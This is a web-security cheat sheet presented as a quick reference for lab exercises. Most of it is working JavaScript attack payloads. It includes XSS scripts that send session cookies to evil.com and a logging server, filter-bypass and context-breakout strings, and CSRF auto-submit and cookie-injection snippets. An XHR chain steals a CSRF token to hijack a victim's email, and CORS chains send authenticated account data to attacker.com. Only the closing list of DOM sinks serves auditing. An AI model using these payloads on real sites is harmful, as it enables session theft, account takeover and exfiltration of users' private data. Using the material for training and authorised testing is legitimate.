

Web Security Lab: JS Payload Cheat Sheet

A structured quick-reference guide for injecting DOM and backend payloads during web security lab exercises.

1. Cross-Site Scripting (XSS): Cookie Stealing

Template:

```
<script> [Exfiltration Mechanism]('[Attacker_URL]?' + [Data_Source]); </script>
```

Example (Fetch API):

```
<script>fetch('http://localhost:30001/log?key='+document.cookie)</script>
```

Example (Base64 Encoded):

```
<script>fetch("https://evil.com/?c=" + btoa(document.cookie)); </script>
```

Example (Silent Image Object):

```
<script>
var img = new Image();
img.src = "http://evil.com/steal.php?cookie=" + document.cookie;
</script>
```

2. XSS: Context Breakouts

Template:

```
[Escape Sequence] [Payload] [Comment/Cleanup]
```

- **HTML Attribute Breakout:** `"><script>alert(1)</script>`
- **JS String Breakout:** `'; alert(1);//`
- **Blacklist Bypass via Nesting:** `<scripscriptpt>` (Bypasses single-pass strip filters)

3. Cross-Site Request Forgery (CSRF): Auto-Submission

Template:

```
<script> document.forms[[Form_Index]].submit(); </script>
```

- **Inline Script:** `<script>document.forms[0].submit(); </script>`
- **Body Onload Event:** `<body onload="document.forms[0].submit()">`
- **Cookie Injection (CSRF Bypass via XSS):** `<script>document.cookie='csrftoken=MYVALUE'; </script>`

4. Advanced CSRF: Stealing Tokens via XSS (The XHR Chain)

Use when a strict CSRF token blocks forged requests, but you have stored XSS.

Template: Initialize XHR → Parse token from HTML → Send forged POST

Example Payload:

```
<script>
var req = new XMLHttpRequest();
req.onload = function() {
    var token = this.responseText.match(/name="csrf" value="([^\"]+)"/)[1];
    var req2 = new XMLHttpRequest();
    req2.open("POST", "https://victim.com/my-account/change-email", true);
    req2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    req2.send("email=attacker@evil.com&csrf=" + token);
};
req.open("GET", "https://victim.com/my-account", true);
req.send();
</script>
```

5. CORS Misconfigurations: Authenticated Data Exfiltration

Template: Fetch endpoint with `credentials: 'include'` → Read response → Send to attacker log server.

Example (Modern Fetch Chain):

```
fetch('http://app.bodhitree.com:30000/userData/', { credentials: 'include', method: 'GET' }).then(r=>r.text()).then(j=>fetch('http://localhost:30001/log/?key='+j));
```

Example (Legacy XHR):

```
var req = new XMLHttpRequest();
req.onload = function() {
    location = "https://attacker.com/log?data=" + this.responseText;
};
req.open("GET", "https://victim.com/accountDetails", true);
req.withCredentials = true;
req.send();
```

6. Quick Reference: DOM Sinks

Audit client-side JavaScript for these specific sinks where user-controlled data might be written:

- `innerHTML = x` (Most common DOM XSS sink)
- `document.write(x)`
- `eval(x)`
- `setTimeout(x, n)`
- `location.href = x`